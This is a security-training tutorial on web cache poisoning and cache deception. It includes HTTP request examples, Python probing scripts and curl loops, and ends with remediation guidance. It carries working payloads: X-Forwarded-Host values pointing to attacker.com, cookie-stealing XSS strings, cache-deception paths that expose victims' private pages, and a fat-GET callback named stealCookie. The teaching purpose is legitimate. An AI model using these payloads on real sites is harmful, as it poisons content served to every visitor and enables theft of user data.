Exploitation A05

Web Cache Poisoning

Web cache poisoning exploits caching mechanisms to serve malicious content to users. By manipulating inputs that aren't part of the cache key, attackers can inject payloads that get cached and served to all subsequent visitors.

Warning

Cache poisoning affects all users who receive the cached response. Test carefully with unique cache busters and coordinate with site owners to clear poisoned entries. Always get explicit authorization before testing.

Understanding Web Cache Poisoning

Web caches store responses to reduce server load and improve performance. Cache poisoning exploits the gap between what the cache considers "the same request" (cache key) and what actually affects the response.

Attack Flow

  1. Identify unkeyed input: Find a header/parameter that affects response but isn't in cache key
  2. Inject payload: Craft request with malicious value in unkeyed input
  3. Trigger caching: Ensure the poisoned response gets stored in cache
  4. Victim receives poison: Subsequent users get the cached malicious response

Web Cache Poisoning Attack Flow

sequenceDiagram participant Atk as Attacker participant Cache as CDN / Cache participant Origin as Origin Server participant Victim as Victim Atk->>Cache: 1. GET /page (X-Forwarded-Host: evil.com) Cache->>Cache: Cache MISS — forward to origin Cache->>Origin: 2. Forward request with unkeyed header Origin->>Cache: 3. Response includes evil.com in script src Cache->>Cache: 4. Store poisoned response (cache key = GET /page) Cache->>Atk: 5. Return poisoned response Note over Cache: Poisoned response now cached Victim->>Cache: 6. GET /page (normal request) Cache->>Cache: Cache HIT — same cache key Cache->>Victim: 7. Serve poisoned response with evil.com script Note over Victim: Executes attacker-controlled JavaScript
basic-poisoning.http
http
# Basic Web Cache Poisoning Attack

# Step 1: Find an unkeyed header that affects the response
# The X-Forwarded-Host header is often unkeyed (not in cache key)

GET /en?region=us HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com

# Response includes attacker.com in links/scripts:
# <script src="https://attacker.com/static/main.js"></script>

# Step 2: The response gets cached
# Step 3: Other users requesting /en?region=us receive the poisoned response
# Basic Web Cache Poisoning Attack

# Step 1: Find an unkeyed header that affects the response
# The X-Forwarded-Host header is often unkeyed (not in cache key)

GET /en?region=us HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com

# Response includes attacker.com in links/scripts:
# <script src="https://attacker.com/static/main.js"></script>

# Step 2: The response gets cached
# Step 3: Other users requesting /en?region=us receive the poisoned response

Cache Keys Explained

The cache key determines which requests are considered "the same" for caching purposes. Typically includes:

Usually Keyed ✓

  • • Request method (GET, POST)
  • • Host header
  • • URL path
  • • Query string parameters
  • • Accept-Encoding (sometimes)

Often Unkeyed ✗

  • • X-Forwarded-Host
  • • X-Forwarded-Scheme
  • • X-Original-URL
  • • Cookie (usually excluded)
  • • Origin header
  • • Request body (for GET)

Cache Key: Keyed vs Unkeyed Inputs

flowchart LR subgraph Keyed["Cache Key Components"] direction TB K1["Method: GET"] K2["Host: target.com"] K3["Path: /page"] K4["Query: ?id=123"] end subgraph Unkeyed["Unkeyed Inputs (Attack Surface)"] direction TB U1["X-Forwarded-Host"] U2["X-Forwarded-Scheme"] U3["X-Original-URL"] U4["Cookie"] U5["Origin"] U6["Request Body"] end Keyed --> CK["Cache Key: GET target.com /page ?id=123"] Unkeyed --> R["Response Content — May reflect unkeyed values"] CK --> CS[(Cache Store)] R --> CS style Keyed fill:#1a1a2e,stroke:#00ff00,color:#00ff00 style Unkeyed fill:#1a1a2e,stroke:#ff6b6b,color:#ff6b6b

Information

The Vary header indicates which request headers are included in the cache key. Check Vary: Accept-Encoding, Accept-Language to understand cache behavior.

Finding Unkeyed Inputs

unkeyed-headers.txt
http
# Common Unkeyed Headers for Cache Poisoning

# Host override headers
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.com

# Protocol/scheme manipulation
X-Forwarded-Scheme: http
X-Forwarded-Proto: http
X-Scheme: http
Front-End-Https: off
X-Forwarded-Ssl: off

# Path manipulation
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-Prefix: /..%2fadmin

# Port injection
X-Forwarded-Port: 443&lt;/script&gt;&lt;script&gt;alert(1)//

# Cache control manipulation
X-Forwarded-For: inject&lt;script&gt;
X-Real-IP: inject&lt;script&gt;

# Language/locale
Accept-Language: ../admin
X-Original-Locale: javascript:alert(1)
# Common Unkeyed Headers for Cache Poisoning

# Host override headers
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.com

# Protocol/scheme manipulation
X-Forwarded-Scheme: http
X-Forwarded-Proto: http
X-Scheme: http
Front-End-Https: off
X-Forwarded-Ssl: off

# Path manipulation
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-Prefix: /..%2fadmin

# Port injection
X-Forwarded-Port: 443&lt;/script&gt;&lt;script&gt;alert(1)//

# Cache control manipulation
X-Forwarded-For: inject&lt;script&gt;
X-Real-IP: inject&lt;script&gt;

# Language/locale
Accept-Language: ../admin
X-Original-Locale: javascript:alert(1)

Param Miner

Param Miner is a Burp Suite extension that automatically discovers unkeyed headers and parameters that could be used for cache poisoning.

param-miner-usage.txt
text
# Param Miner - Burp Extension for Cache Poisoning

# Install from BApp Store
Extensions → BApp Store → Param Miner → Install

# Basic usage - find unkeyed inputs
1. Right-click request in Proxy/Repeater
2. Extensions → Param Miner → Guess headers
3. Wait for results in Dashboard/Extensions output

# Key findings to look for:
- X-Forwarded-Host
- X-Forwarded-Scheme
- X-Original-URL
- X-Rewrite-URL
- X-Forwarded-Prefix
- Origin header reflections
- Custom headers specific to target

# Cache key indicators:
- Cache-Status: HIT/MISS
- X-Cache: HIT
- Age: 3600 (seconds cached)
- Vary: Accept-Encoding (headers in cache key)
- CF-Cache-Status (Cloudflare)
# Param Miner - Burp Extension for Cache Poisoning

# Install from BApp Store
Extensions → BApp Store → Param Miner → Install

# Basic usage - find unkeyed inputs
1. Right-click request in Proxy/Repeater
2. Extensions → Param Miner → Guess headers
3. Wait for results in Dashboard/Extensions output

# Key findings to look for:
- X-Forwarded-Host
- X-Forwarded-Scheme
- X-Original-URL
- X-Rewrite-URL
- X-Forwarded-Prefix
- Origin header reflections
- Custom headers specific to target

# Cache key indicators:
- Cache-Status: HIT/MISS
- X-Cache: HIT
- Age: 3600 (seconds cached)
- Vary: Accept-Encoding (headers in cache key)
- CF-Cache-Status (Cloudflare)

Cache Key Discovery Script

cache-key-discovery.py
python
#!/usr/bin/env python3
"""
Cache Key Discovery Script
Identifies what parameters/headers are included in cache key
"""
import requests
import random
import string
import time

TARGET = "https://target.com/path"
CACHE_BUSTER = "".join(random.choices(string.ascii_lowercase, k=8))

def random_value():
    return "".join(random.choices(string.ascii_lowercase, k=6))

def get_cache_headers(response):
    """Extract cache-related headers"""
    cache_headers = {}
    for header in ['cache-control', 'x-cache', 'cf-cache-status', 
                   'age', 'cache-status', 'x-cache-status']:
        if header in response.headers:
            cache_headers[header] = response.headers[header]
    return cache_headers

def test_header_keyed(header_name, url):
    """Check if a header is part of the cache key"""
    # First request with unique value
    value1 = random_value()
    headers1 = {header_name: value1}
    resp1 = requests.get(url, headers=headers1)
    
    # Wait for potential caching
    time.sleep(0.5)
    
    # Second request with different value - should get same response if unkeyed
    value2 = random_value()
    headers2 = {header_name: value2}
    resp2 = requests.get(url, headers=headers2)
    
    # If responses match and second is cached, header is unkeyed
    if resp1.text == resp2.text and 'HIT' in str(get_cache_headers(resp2)):
        return False  # Unkeyed - potential poisoning vector
    return True  # Keyed - in cache key

def main():
    headers_to_test = [
        'X-Forwarded-Host',
        'X-Forwarded-Scheme', 
        'X-Forwarded-Proto',
        'X-Original-URL',
        'X-Rewrite-URL',
        'X-Forwarded-Prefix',
        'X-Host',
        'Origin',
        'X-Forwarded-For'
    ]
    
    # Add cache buster to avoid stale responses
    test_url = f"{TARGET}?cb={CACHE_BUSTER}"
    
    print(f"[*] Testing cache key composition for {TARGET}")
    print(f"[*] Cache buster: {CACHE_BUSTER}\n")
    
    for header in headers_to_test:
        is_keyed = test_header_keyed(header, test_url)
        status = "KEYED (in cache key)" if is_keyed else "UNKEYED (potential poison vector!)"
        icon = "[-]" if is_keyed else "[+]"
        print(f"{icon} {header}: {status}")

if __name__ == "__main__":
    main()
#!/usr/bin/env python3
"""
Cache Key Discovery Script
Identifies what parameters/headers are included in cache key
"""
import requests
import random
import string
import time

TARGET = "https://target.com/path"
CACHE_BUSTER = "".join(random.choices(string.ascii_lowercase, k=8))

def random_value():
    return "".join(random.choices(string.ascii_lowercase, k=6))

def get_cache_headers(response):
    """Extract cache-related headers"""
    cache_headers = {}
    for header in ['cache-control', 'x-cache', 'cf-cache-status', 
                   'age', 'cache-status', 'x-cache-status']:
        if header in response.headers:
            cache_headers[header] = response.headers[header]
    return cache_headers

def test_header_keyed(header_name, url):
    """Check if a header is part of the cache key"""
    # First request with unique value
    value1 = random_value()
    headers1 = {header_name: value1}
    resp1 = requests.get(url, headers=headers1)
    
    # Wait for potential caching
    time.sleep(0.5)
    
    # Second request with different value - should get same response if unkeyed
    value2 = random_value()
    headers2 = {header_name: value2}
    resp2 = requests.get(url, headers=headers2)
    
    # If responses match and second is cached, header is unkeyed
    if resp1.text == resp2.text and 'HIT' in str(get_cache_headers(resp2)):
        return False  # Unkeyed - potential poisoning vector
    return True  # Keyed - in cache key

def main():
    headers_to_test = [
        'X-Forwarded-Host',
        'X-Forwarded-Scheme', 
        'X-Forwarded-Proto',
        'X-Original-URL',
        'X-Rewrite-URL',
        'X-Forwarded-Prefix',
        'X-Host',
        'Origin',
        'X-Forwarded-For'
    ]
    
    # Add cache buster to avoid stale responses
    test_url = f"{TARGET}?cb={CACHE_BUSTER}"
    
    print(f"[*] Testing cache key composition for {TARGET}")
    print(f"[*] Cache buster: {CACHE_BUSTER}\n")
    
    for header in headers_to_test:
        is_keyed = test_header_keyed(header, test_url)
        status = "KEYED (in cache key)" if is_keyed else "UNKEYED (potential poison vector!)"
        icon = "[-]" if is_keyed else "[+]"
        print(f"{icon} {header}: {status}")

if __name__ == "__main__":
    main()

Header Injection Attacks

header-injection.http
http
# Common Header Injection Scenarios

# 1. X-Forwarded-Host → Affects <base>, <link>, script src
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: attacker.com

# Result: <script src="https://attacker.com/static/app.js">

# 2. X-Forwarded-Scheme → Force HTTP links in HTTPS page  
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Scheme: http

# Result: All links become http:// enabling MITM

# 3. X-Forwarded-Prefix → Path injection
GET /api/data HTTP/1.1
Host: vulnerable.com
X-Forwarded-Prefix: /admin

# Result: Response thinks path is /admin/api/data

# 4. X-Original-URL → Access control bypass
GET /public HTTP/1.1
Host: vulnerable.com
X-Original-URL: /admin

# Front-end caches /public, back-end serves /admin
# Common Header Injection Scenarios

# 1. X-Forwarded-Host → Affects <base>, <link>, script src
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: attacker.com

# Result: <script src="https://attacker.com/static/app.js">

# 2. X-Forwarded-Scheme → Force HTTP links in HTTPS page  
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Scheme: http

# Result: All links become http:// enabling MITM

# 3. X-Forwarded-Prefix → Path injection
GET /api/data HTTP/1.1
Host: vulnerable.com
X-Forwarded-Prefix: /admin

# Result: Response thinks path is /admin/api/data

# 4. X-Original-URL → Access control bypass
GET /public HTTP/1.1
Host: vulnerable.com
X-Original-URL: /admin

# Front-end caches /public, back-end serves /admin

XSS via Cache Poisoning

xss-cache-poisoning.http
http
# XSS via Cache Poisoning

# Scenario: X-Forwarded-Host reflected in page and unkeyed

# Step 1: Find reflection
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: test123

# Response shows:
# <link rel="canonical" href="https://test123/" />

# Step 2: Inject XSS payload
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: "></link><script>alert(document.cookie)</script><link x="

# Response:
# <link rel="canonical" href="https://"></link><script>alert(document.cookie)</script><link x="" />

# Step 3: Ensure response is cached
# Check for: Cache-Status: HIT or X-Cache: HIT or Age: > 0

# Step 4: All subsequent visitors receive XSS payload
# Impact: Stored XSS affecting ALL users until cache expires
# XSS via Cache Poisoning

# Scenario: X-Forwarded-Host reflected in page and unkeyed

# Step 1: Find reflection
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: test123

# Response shows:
# <link rel="canonical" href="https://test123/" />

# Step 2: Inject XSS payload
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: "></link><script>alert(document.cookie)</script><link x="

# Response:
# <link rel="canonical" href="https://"></link><script>alert(document.cookie)</script><link x="" />

# Step 3: Ensure response is cached
# Check for: Cache-Status: HIT or X-Cache: HIT or Age: > 0

# Step 4: All subsequent visitors receive XSS payload
# Impact: Stored XSS affecting ALL users until cache expires

Tip

Cache poisoning XSS is essentially stored XSS stored in the cache rather than database. Impact is similar but cleanup requires cache purging rather than database update.

Web Cache Deception

Cache deception is the reverse of cache poisoning. Instead of poisoning a cached page, you trick the cache into storing sensitive pages that shouldn't be cached.

cache-deception.http
http
# Web Cache Deception Attack
# Trick cache into storing sensitive user-specific responses

# Target: User profile page that shouldn't be cached
# Attack: Append static file extension to path

# Normal request (not cached - dynamic content)
GET /account/settings HTTP/1.1
Host: vulnerable.com
Cookie: session=victim_session

# Response: User's private settings, not cached

# Attack request (tricks cache into caching)
GET /account/settings/nonexistent.css HTTP/1.1
Host: vulnerable.com  
Cookie: session=victim_session

# If app ignores path suffix and serves /account/settings
# AND cache sees .css and caches it as static content:

# Step 1: Attacker tricks victim into visiting:
# https://vulnerable.com/account/settings/exploit.css

# Step 2: Cache stores victim's private page under that URL

# Step 3: Attacker requests same URL (no cookie needed):
GET /account/settings/exploit.css HTTP/1.1
Host: vulnerable.com

# Response: Victim's cached private settings!

# Path confusion variants:
/account/settings/..%2f..%2fstatic/file.js
/account/settings%00.js
/account/settings;.js
/account/settings%23.css
# Web Cache Deception Attack
# Trick cache into storing sensitive user-specific responses

# Target: User profile page that shouldn't be cached
# Attack: Append static file extension to path

# Normal request (not cached - dynamic content)
GET /account/settings HTTP/1.1
Host: vulnerable.com
Cookie: session=victim_session

# Response: User's private settings, not cached

# Attack request (tricks cache into caching)
GET /account/settings/nonexistent.css HTTP/1.1
Host: vulnerable.com  
Cookie: session=victim_session

# If app ignores path suffix and serves /account/settings
# AND cache sees .css and caches it as static content:

# Step 1: Attacker tricks victim into visiting:
# https://vulnerable.com/account/settings/exploit.css

# Step 2: Cache stores victim's private page under that URL

# Step 3: Attacker requests same URL (no cookie needed):
GET /account/settings/exploit.css HTTP/1.1
Host: vulnerable.com

# Response: Victim's cached private settings!

# Path confusion variants:
/account/settings/..%2f..%2fstatic/file.js
/account/settings%00.js
/account/settings;.js
/account/settings%23.css

Cache Poisoning vs Cache Deception

Cache Poisoning

  • • Attacker poisons the cached response
  • • Victims receive attacker's payload
  • • Exploits unkeyed inputs
  • • Result: XSS, redirect, etc.

Cache Deception

  • • Attacker tricks victim into caching their data
  • • Attacker retrieves victim's cached data
  • • Exploits path confusion
  • • Result: Information disclosure

Fat GET Attacks

fat-get.http
http
# Fat GET Request Cache Poisoning
# Some servers process body in GET requests but cache key ignores it

GET /?callback=loadData HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

callback=stealCookie

# If server uses body parameter but cache only keys on URL:
# Response: stealCookie({...data...})
# Cached response serves attacker's callback to all users

# Detection:
1. Send GET with body parameter
2. Check if body parameter affects response
3. Check if response is cached
4. If both yes → Fat GET cache poisoning possible
# Fat GET Request Cache Poisoning
# Some servers process body in GET requests but cache key ignores it

GET /?callback=loadData HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

callback=stealCookie

# If server uses body parameter but cache only keys on URL:
# Response: stealCookie({...data...})
# Cached response serves attacker's callback to all users

# Detection:
1. Send GET with body parameter
2. Check if body parameter affects response
3. Check if response is cached
4. If both yes → Fat GET cache poisoning possible

Practice Labs

Testing Checklist

🔍 Reconnaissance

  • ☐ Identify caching (X-Cache, Age, CF-Cache-Status)
  • ☐ Check Vary header for cache key composition
  • ☐ Identify CDN/cache provider in use
  • ☐ Find cacheable endpoints (static, public content)

⚡ Poisoning Tests

  • ☐ Test X-Forwarded-Host reflection
  • ☐ Test X-Forwarded-Scheme
  • ☐ Test X-Original-URL / X-Rewrite-URL
  • ☐ Run Param Miner for hidden inputs
  • ☐ Test Fat GET body parameter handling

🎭 Deception Tests

  • ☐ Test static extension confusion (.css, .js, .png)
  • ☐ Test path delimiter confusion (;, %00, %23)
  • ☐ Test path normalization issues
  • ☐ Check if user-specific pages get cached

📝 Documentation

  • ☐ Record exact poisoning payload
  • ☐ Document cache TTL/duration
  • ☐ Note affected user scope
  • ☐ Include cache header evidence

🔬 Advanced Cache Poisoning Techniques

Cache Poisoning vs Cache Deception — Deep Comparison

Aspect Cache Poisoning Cache Deception
Attacker's goalInject malicious content into cacheTrick cache into storing victim's private data
Who visits first?Attacker poisons, then victims get malicious contentVictim visits crafted URL, attacker retrieves cached data
Victim interactionNone (victim gets poisoned page normally)Victim must click attacker's crafted link
Attack surfaceUnkeyed inputs reflected in responsePath confusion between origin and cache
ImpactXSS, redirect, defacement (all visitors)PII theft, session data (targeted victim)
RemediationKey all reflected inputs, sanitize outputsStrict cache rules, no path-based caching of dynamic pages
DifficultyMedium — need to find unkeyed inputsLow — just need path confusion

CDN-Specific Cache Behavior

Different CDNs handle cache keys, normalization, and headers differently — exploits must be tailored:

bash
# Cloudflare: Cache key includes query string by default
# but page rules can change behavior. Test:
# - cf-cache-status header reveals HIT/MISS/DYNAMIC
# - Cloudflare normalizes some headers (e.g., accepts X-Forwarded-For)
curl -sI "https://target.com/page?cb=$(date +%s)" | grep cf-cache

# Akamai: Uses Pragma headers for cache debugging
# X-Akamai-Session-Info and Pragma: akamai-x-check-cacheable reveal info
curl -sI -H "Pragma: akamai-x-check-cacheable" https://target.com/page

# Fastly: X-Cache and X-Served-By headers
# Fastly often ignores Vary headers, creating cache key mismatches
curl -sI https://target.com/page | grep -i "x-cache|x-served-by|age"

# AWS CloudFront: Cache key configurable via cache policy
# Default includes Host + query string, but custom policies may omit headers
# X-Cache header shows Hit/Miss from cloudfront

# Cache key normalization testing
# URL encoding: /page vs /page%20 vs /page+ — same cache key?
# Case sensitivity: /Page vs /page — same cache key?
# Trailing slash: /page vs /page/ — same cache key?
# Query order: ?a=1&b=2 vs ?b=2&a=1 — same cache key?
for variant in "/page" "/PAGE" "/page/" "/page%20" "/page?a=1&b=2" "/page?b=2&a=1"; do
  echo "=== $variant ==="
  curl -sI "https://target.com$variant" | grep -i "x-cache|age|cf-cache"
done
# Cloudflare: Cache key includes query string by default
# but page rules can change behavior. Test:
# - cf-cache-status header reveals HIT/MISS/DYNAMIC
# - Cloudflare normalizes some headers (e.g., accepts X-Forwarded-For)
curl -sI "https://target.com/page?cb=$(date +%s)" | grep cf-cache

# Akamai: Uses Pragma headers for cache debugging
# X-Akamai-Session-Info and Pragma: akamai-x-check-cacheable reveal info
curl -sI -H "Pragma: akamai-x-check-cacheable" https://target.com/page

# Fastly: X-Cache and X-Served-By headers
# Fastly often ignores Vary headers, creating cache key mismatches
curl -sI https://target.com/page | grep -i "x-cache|x-served-by|age"

# AWS CloudFront: Cache key configurable via cache policy
# Default includes Host + query string, but custom policies may omit headers
# X-Cache header shows Hit/Miss from cloudfront

# Cache key normalization testing
# URL encoding: /page vs /page%20 vs /page+ — same cache key?
# Case sensitivity: /Page vs /page — same cache key?
# Trailing slash: /page vs /page/ — same cache key?
# Query order: ?a=1&b=2 vs ?b=2&a=1 — same cache key?
for variant in "/page" "/PAGE" "/page/" "/page%20" "/page?a=1&b=2" "/page?b=2&a=1"; do
  echo "=== $variant ==="
  curl -sI "https://target.com$variant" | grep -i "x-cache|age|cf-cache"
done

Unkeyed Query Parameters & Cookies

bash
# Many CDNs strip query parameters from the cache key
# but the origin server still processes them → unkeyed input

# Test with Param Miner's "Guess GET parameters" scan
# Or manually:
# 1. Send: GET /page?utm_content=<script>alert(1)</script>
# 2. If response reflects the parameter AND gets cached:
curl "https://target.com/page?utm_content=CANARY_VALUE"
# Check if CANARY_VALUE appears in response
# Then check if a clean request returns the cached poisoned version:
curl "https://target.com/page"  # No query param → should miss cache

# Unkeyed cookies
# Some CDNs don't include cookies in cache key (performance optimization)
# If the app reflects cookie values:
curl -b "lang=<script>alert(1)</script>" "https://target.com/page"
# If cached, all subsequent visitors get the XSS

# Internal cache poisoning (application-level)
# App caches (Redis, Memcached, local) often have different keying than CDN
# Poison the internal cache even if CDN cache is safe:
curl -H "X-Original-URL: /admin" "https://target.com/public-page"
# If internal cache keys on X-Original-URL but CDN doesn't,
# the admin page might be cached under /public-page
# Many CDNs strip query parameters from the cache key
# but the origin server still processes them → unkeyed input

# Test with Param Miner's "Guess GET parameters" scan
# Or manually:
# 1. Send: GET /page?utm_content=<script>alert(1)</script>
# 2. If response reflects the parameter AND gets cached:
curl "https://target.com/page?utm_content=CANARY_VALUE"
# Check if CANARY_VALUE appears in response
# Then check if a clean request returns the cached poisoned version:
curl "https://target.com/page"  # No query param → should miss cache

# Unkeyed cookies
# Some CDNs don't include cookies in cache key (performance optimization)
# If the app reflects cookie values:
curl -b "lang=<script>alert(1)</script>" "https://target.com/page"
# If cached, all subsequent visitors get the XSS

# Internal cache poisoning (application-level)
# App caches (Redis, Memcached, local) often have different keying than CDN
# Poison the internal cache even if CDN cache is safe:
curl -H "X-Original-URL: /admin" "https://target.com/public-page"
# If internal cache keys on X-Original-URL but CDN doesn't,
# the admin page might be cached under /public-page

Cache Probing Methodology

Confirming cache poisoning at scale requires careful probing to verify the exploit affects real users:

python
import requests, time, hashlib

TARGET = "https://target.com/page"
HEADERS = {"X-Forwarded-Host": "attacker.com"}  # Unkeyed header

def cache_buster():
    """Generate unique cache-busting query parameter"""
    return f"?cb={hashlib.md5(str(time.time()).encode()).hexdigest()[:8]}"

# Step 1: Verify the header is unkeyed (doesn't change cache key)
url = TARGET + cache_buster()
r1 = requests.get(url)                    # Populate cache (clean)
r2 = requests.get(url, headers=HEADERS)   # Same URL, added header
r3 = requests.get(url)                    # Fetch from cache

if "attacker.com" in r3.text:
    print("[+] CONFIRMED: Header is unkeyed and reflected in cached response!")
else:
    print("[-] Header appears to be keyed or not reflected")

# Step 2: Test persistence across cache nodes
# CDNs have multiple edge nodes — poisoning one doesn't poison all
for i in range(10):
    r = requests.get(TARGET)
    cache_status = r.headers.get('X-Cache', r.headers.get('CF-Cache-Status', 'unknown'))
    has_payload = "attacker.com" in r.text
    print(f"Request {i}: Cache={cache_status}, Poisoned={has_payload}")
    time.sleep(1)

# Step 3: Estimate impact window
# Check TTL/max-age to know how long poison persists
cc = r1.headers.get('Cache-Control', '')
age = r1.headers.get('Age', '0')
print(f"Cache-Control: {cc}")
print(f"Current Age: {age}s")
import requests, time, hashlib

TARGET = "https://target.com/page"
HEADERS = {"X-Forwarded-Host": "attacker.com"}  # Unkeyed header

def cache_buster():
    """Generate unique cache-busting query parameter"""
    return f"?cb={hashlib.md5(str(time.time()).encode()).hexdigest()[:8]}"

# Step 1: Verify the header is unkeyed (doesn't change cache key)
url = TARGET + cache_buster()
r1 = requests.get(url)                    # Populate cache (clean)
r2 = requests.get(url, headers=HEADERS)   # Same URL, added header
r3 = requests.get(url)                    # Fetch from cache

if "attacker.com" in r3.text:
    print("[+] CONFIRMED: Header is unkeyed and reflected in cached response!")
else:
    print("[-] Header appears to be keyed or not reflected")

# Step 2: Test persistence across cache nodes
# CDNs have multiple edge nodes — poisoning one doesn't poison all
for i in range(10):
    r = requests.get(TARGET)
    cache_status = r.headers.get('X-Cache', r.headers.get('CF-Cache-Status', 'unknown'))
    has_payload = "attacker.com" in r.text
    print(f"Request {i}: Cache={cache_status}, Poisoned={has_payload}")
    time.sleep(1)

# Step 3: Estimate impact window
# Check TTL/max-age to know how long poison persists
cc = r1.headers.get('Cache-Control', '')
age = r1.headers.get('Age', '0')
print(f"Cache-Control: {cc}")
print(f"Current Age: {age}s")

🛡️ Remediation & Defense

Defensive Measures

Cache Configuration

  • • Include all security-relevant headers in the cache key (e.g., Host, Origin)
  • • Use Vary header to key on headers that influence response content
  • • Disable caching for dynamic/sensitive responses
  • • Set short TTLs on cacheable resources to limit poisoning window

Input Handling

  • • Sanitize or reject unkeyed inputs reflected in responses
  • • Strip or ignore unexpected/custom headers at the application layer
  • • Validate X-Forwarded-Host and similar headers against allowlists
  • • Never reflect unkeyed header values in HTML without encoding

CWE References: CWE-349 (Acceptance of Extraneous Untrusted Data), CWE-525 (Browser Caching of Sensitive Information)

Evidence Collection

Poisoned Response: Cached response containing attacker-controlled content (XSS payload, redirect) served to other users from the cache

Cache Key Analysis: Document which headers/parameters are unkeyed (not part of the cache key) but reflected in the response

Persistence Test: Multiple requests from different IPs/sessions all receiving the poisoned response — proving cache-level impact, not just reflection

CDN Headers: Cache status headers (X-Cache: HIT, CF-Cache-Status, Age) confirming the poisoned response is served from cache

CVSS Range: Cache poisoning with XSS: 7.5–8.6 (High) | Mass user impact via CDN: 8.6–9.1 | Cache poisoning to DoS: 5.3–7.5

False Positive Identification

  • Reflected but not cached: An unkeyed header reflected in the response is only a cache poisoning risk if the response is actually cached — check cache headers (Age, X-Cache) and verify with a second request.
  • Short cache TTL: If the cache TTL is very short (seconds), the practical impact is limited — note the TTL and calculate the realistic exploitation window.
  • Private cache only: Poisoning a browser's private cache only affects that one user — shared/CDN cache poisoning has much higher impact. Identify which cache layer is affected.
  • Vary header protection: If the Vary header includes the unkeyed parameter, each variant gets its own cache entry — this may prevent mass exploitation.